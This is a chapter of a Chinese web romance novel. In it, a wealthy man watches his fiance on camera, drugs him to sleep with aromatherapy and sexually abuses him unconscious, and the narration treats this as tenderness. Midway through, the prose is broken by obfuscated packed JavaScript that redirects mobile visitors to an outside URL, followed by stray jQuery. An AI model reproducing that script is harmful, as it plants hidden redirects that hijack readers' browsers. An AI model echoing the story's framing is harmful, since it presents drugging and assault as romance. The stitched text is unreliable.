音乐会无聊透了,苏言欣赏不来,刚坐下没一会儿就开始打瞌睡,脑袋一点一点的,眼睛都睁不开了。
苏言刚想靠在周序川肩膀上睡一会儿,头顶就传来声音:“不想成为大钢琴家了?”
苏言愣住,不可思议地看着周序川。
这人不看着台上的钢琴家,盯着他干嘛,神经病。
周序川自动忽视苏言看他的眼神,压低声音说:“再坚持一下,结束后得去打声招呼。”
苏言皱着眉头拒绝:“我不想去,你自己去。”
他知道自己说话有口音,之前苏予安跟他的朋友嘲笑过他,所以他不想跟别人说话。
周序川沉默两秒后说:“结束后带你去买手表,三百万的。”
三百万?苏言想也没想就改变主意:“我只是陪你去,但我不说话,也不跟别人打招呼,你自己应付。”
这样的话就很划算了,以后还有这种事再叫他,他很乐意去。
周序川心情很好地说:“好,言言陪我就行,不用你说话。”
苏言抱着双臂往下滑,闭着眼睛抱怨:“我睡会儿,结束后你叫我,无聊死了。”
周序川贴心询问:“要靠在我身上睡吗?”
苏言摇头拒绝:“不要,你帮我掩护。”
也不管周序川答不答应,苏言闭上眼睛就开始睡。
刚睡着没多久周序川就提醒他说结束了,苏言起床气很大,眉头皱成了毛毛虫。
周序川先起身把苏言拉起来,贴心帮他整理衣服和睡乱的头发。
不断有人上前跟周序川打招呼,但周序川表现得很冷淡,随意应付两句牵着苏言离开人群。
周序川把苏家小少爷接回家的事儿早就传开了,众人是第一次见到苏言,要不是周序川压迫感太强他们不敢盯着看,苏言早就被人盯穿了。
苏言没睡醒心情不好,但想到等会儿周序川要给他买手表他就只能强忍着不悦。
从周序川跟那些人的交谈中苏言得知开音乐会的人身份不普通,周序川都来参加他的音乐会,苏言猜对方应该是个很出名的大音乐家。
气质也很好,是那种由内而外散发的,像周序川一样。
许是苏言打量的目光太明显,三十左右的青年推了推鼻梁上的眼镜,目光落在苏言身上,“这位是……”
周序川揽着苏言的肩膀介绍:“苏言,我的未婚夫。”
苏言笑也不是不笑也不是,最后索性学周序川冷脸的模样保持沉默。
对方并未在乎苏言的态度,笑着打趣两句继续跟周序川闲聊。
周序川语气没什么起伏地说:“我家言言想学钢琴,不知道沈先生有没有时间帮忙教教他。”
那位沈先生明显惊讶了一瞬,但姿态放得很低:“我的荣幸,只不过我授课比较严厉,到时候周先生可别心疼你的小未婚夫。”
沈知律看了苏言一眼,难怪周序川会纡尊降贵来他这小小的音乐会,原来是打的这个主意。
周序川用开玩笑的口吻说:“那可能沈先生需要改变一下授课方式,而且我家言言很聪明,学什么都是一学就会,学不会的话就是你的问题了。”
沈知律惊讶周序川对苏言的看重,但面上丝毫没有表现出来,爽朗地笑着说:“好,回头先让苏小少爷试一节课,后续我再跟周先生详谈。”
周序川略微颔首:“有劳。”
说完他就揽着苏言走了,满屋子的人都出来送他们。
这是苏言第一次直观感受到周序川的地位之高,难怪周序川上次去苏家苏启坤都对他客客气气的,还称呼他为周先生。
他以为周序川会随便安排个人教他学钢琴,没想到会邀请大音乐家来。
当有钱人真好,苏言接受众人的目送,不自觉骄傲起来。
周序川就近带他去奢侈品店买了块手表,选手表的时候苏言忍不住多拿了一块,谁都没发现,但他全程处于高度兴奋的状态。
可回到家看着桌子上多出来那块手表他就忍不住自我唾弃。
周序川已经给他买了一块,他为什么还要偷,可当时他就是很想要,他享受偷东西时那种刺激紧张的感觉,他改不掉。
苏言把两块手表一起扔进抽屉里,脸埋在膝盖上,整个人散发出颓靡的感觉。
他看了,那块手表也是三百万,奢侈品店一般都有监控,一旦店员通知周序川他肯定会被赶走。
到时候别说是学钢琴学英语,能不能继续待在京市都要另说。
与此同时,周序川已经接到奢侈品店经理打来的电话。
经理不敢直说,支支吾吾寒暄半天也没说到点子上。
周序川淡淡道:“我家言言拿了你们店里的东西?”
“是……的,监控显示苏先生多拿了一块手表没有结账,也可能是苏先生不小心的,”经理慌乱解释,“我没有说苏先生偷东西的意思,只是那块手表价格比较高,我没办法做主送给苏先生。”
周序川语气平静:“嗯,直接从我的卡上扣款就行。”
经理明显松了口气:“多谢周先生体谅。”
“无妨。”周序川说完挂断电话,点了支雪茄抽着,淡淡的烟雾模糊了他凌厉的五官,连带着眸底的情绪也变得缥缈。
他的言言怎么还喜欢拿外面的东西,坏孩子。
晚饭的时候苏言磨蹭半天才下楼,他规规矩矩坐在周序川对面,低着头不说话。
周序川想等苏言主动开口,但苏言什么都没说,吃完饭就回房间把门反锁,再也没出来过。
周序川盯着苏言的房门看了一会儿,随手拨了一个电话出去。
电话接通后周序川开门见山:“偷窃癖应该怎么治疗?”
电话那头的人简单询问了几句,最后说:“方便带他过来见面聊聊吗?”
周序川回绝:“暂时不行。”
最终周序川决定先去跟心理医生见面详谈,然后商定治疗方案。
对于这些苏言一概不知,他忐忑不安地等了一晚上周序川都没来找他,苏言忍不住骄傲,周序川蠢死了,肯定是没发现。
他暂时放下心来抱着平板睡着,平板还在播放恐怖电影。
周序川在监控里确认苏言睡着才过来的,看着窝在大床上的人儿,他轻轻关上房门走到床边拿走苏言怀里的平板。
打开抽屉看到苏言将那些偷来的东西整整齐齐摆放着,他坐在床边的椅子上盯着苏言的脸看了许久,最终没忍住伸手触碰。
想起晚饭时苏言那副不安的样子,周序川心软地低头亲吻苏言的脸颊,轻声呢喃:“言言不怕,老公会帮你。”
睡梦中的苏言眉头紧锁,脸上满是不安。
周序川点上助眠的香薰,待苏言紧锁的眉头舒展开他才将苏言揽进怀里,大手肆意抚摸苏言纤细的腰身,以及腰上那道疤痕。
在外面周序川冷淡禁欲,可在苏言面前却完全换了一个人,高高在上的周家家主此时俯身低头,贪婪地嗅闻苏言身上的味道。
昂贵的睡衣被卷上去,露出白皙的腹部和胸膛,周序川贴在苏言的心口前听着他有力健康的心跳声,浑身烧起不正常的燥热。
苏言睡得很香,周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255749|197996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
序川为所欲为,看着那张漂亮的脸被弄脏,白皙的胸膛染上污.浊,周序川涣散的瞳孔逐渐聚焦,体温却不降反升。
但他脸上的表情很冷淡,仿佛把苏言弄脏的人不是他,他慢条斯理地帮苏言把脸和身上擦干净,坐在一旁盯着苏言看。
周序川不想离开,索性抱着苏言躺下睡觉,第二天天还没亮就走了,还顺手拿走床头柜上已经燃尽的香薰。
苏言总觉得怪怪的,房间里有一股很淡的香味,但他记得睡觉前没让佣人点香薰。
而且他心口的位置有一块皮肤红了,像是被蚊子咬了,但又不痒。
他看着今天外面零下十度的天,应该没有蚊子能存活吧。
怀着疑惑的心情,苏言起床洗了个澡,把睡衣换下来翻来覆去检查,确认没有虫子才下楼。
难得看到周序川没去上班,而且他看着并没有生气,苏言肯定他不知道自己偷东西的事儿,大步往周序川面前走,边说:“周序川,我房间里好像有虫。”
周序川放下手里的杂志,语气淡淡:“有虫?”
“嗯,我这儿被咬了,你看。”苏言说着就把衣服撩起来给周序川看,心口的位置确实红了一块。
可能是因为常年不见光,苏言的身体很白,虽然上面有大大小小的伤疤,但不影响对周序川的致命吸引力。
他手一抖差点没拿稳手里的杂志,让苏言把衣服穿好后从药瓶里抖出白色药片塞进嘴里。
不正常的体温在药力作用下逐渐恢复,苏言歪着头盯着周序川,“你生病了?”
周序川放下水杯,语气没有任何起伏:“没事。”
“哦,”苏言完全不关心,继续说自己的,“我房间里有虫,你让人帮我重新打扫一下。”
某只“虫子”起身往餐桌边走,“知道了,过去吃早餐。”
“你千万记住,不然晚上我又被咬了。”苏言在周序川身边坐下嘀咕,“被咬了居然不疼不痒。”
苏言自言自语:“你家的虫子真怪,我以前被咬都会长个大包,这次居然只是红了一点,看着还有点青紫,但又不疼。”
苏言皮肤很敏感,每次被蚊子咬都要红肿好几天才能好,被虫子咬也一样,但这次实在有点超出他的理解范围。
周序川开口提醒:“食不言寝不语。”
“哦。”苏言应了一声,安静吃早餐。
思来想去,苏言还是不放心,试探着跟周序川说:“要不还是让医生来帮我看看吧,我有点害怕。”
周序川无奈说:“等会儿我帮你上药。”
苏言放下勺子,“万一是生病呢?”
以前他觉得活着没意思,但现在他很怕死,有钱人的生活实在太舒适了,他想好好活着。
周序川睁眼说瞎话:“看着像是过敏,擦点药过两天就好了。”
苏言点点头:“也行,要是明天不好你就让医生给我看看。”
周序川答应下来,苏言总算肯安静吃早餐。
吃完早餐后周序川吩咐人去给苏言打扫房间,想起抽屉里藏的东西,苏言忙不迭上楼藏到身上才让佣人进去。
等他再下楼时周序川已经出门了,苏言自己在客厅里看电视。
虽然周序川家很有钱,但他也是真的忙,每天早出晚归,苏言看着都累。
他还是更喜欢衣来伸手饭来张口,出门挣钱的重任就交给周序川吧。
苏言悠闲地吃着进口水果晃着脚,整个人惬意得不行。
吃饱喝足,苏言刚想睡会儿,李叔突然过来跟他说:“小少爷,苏先生和苏太太来了。”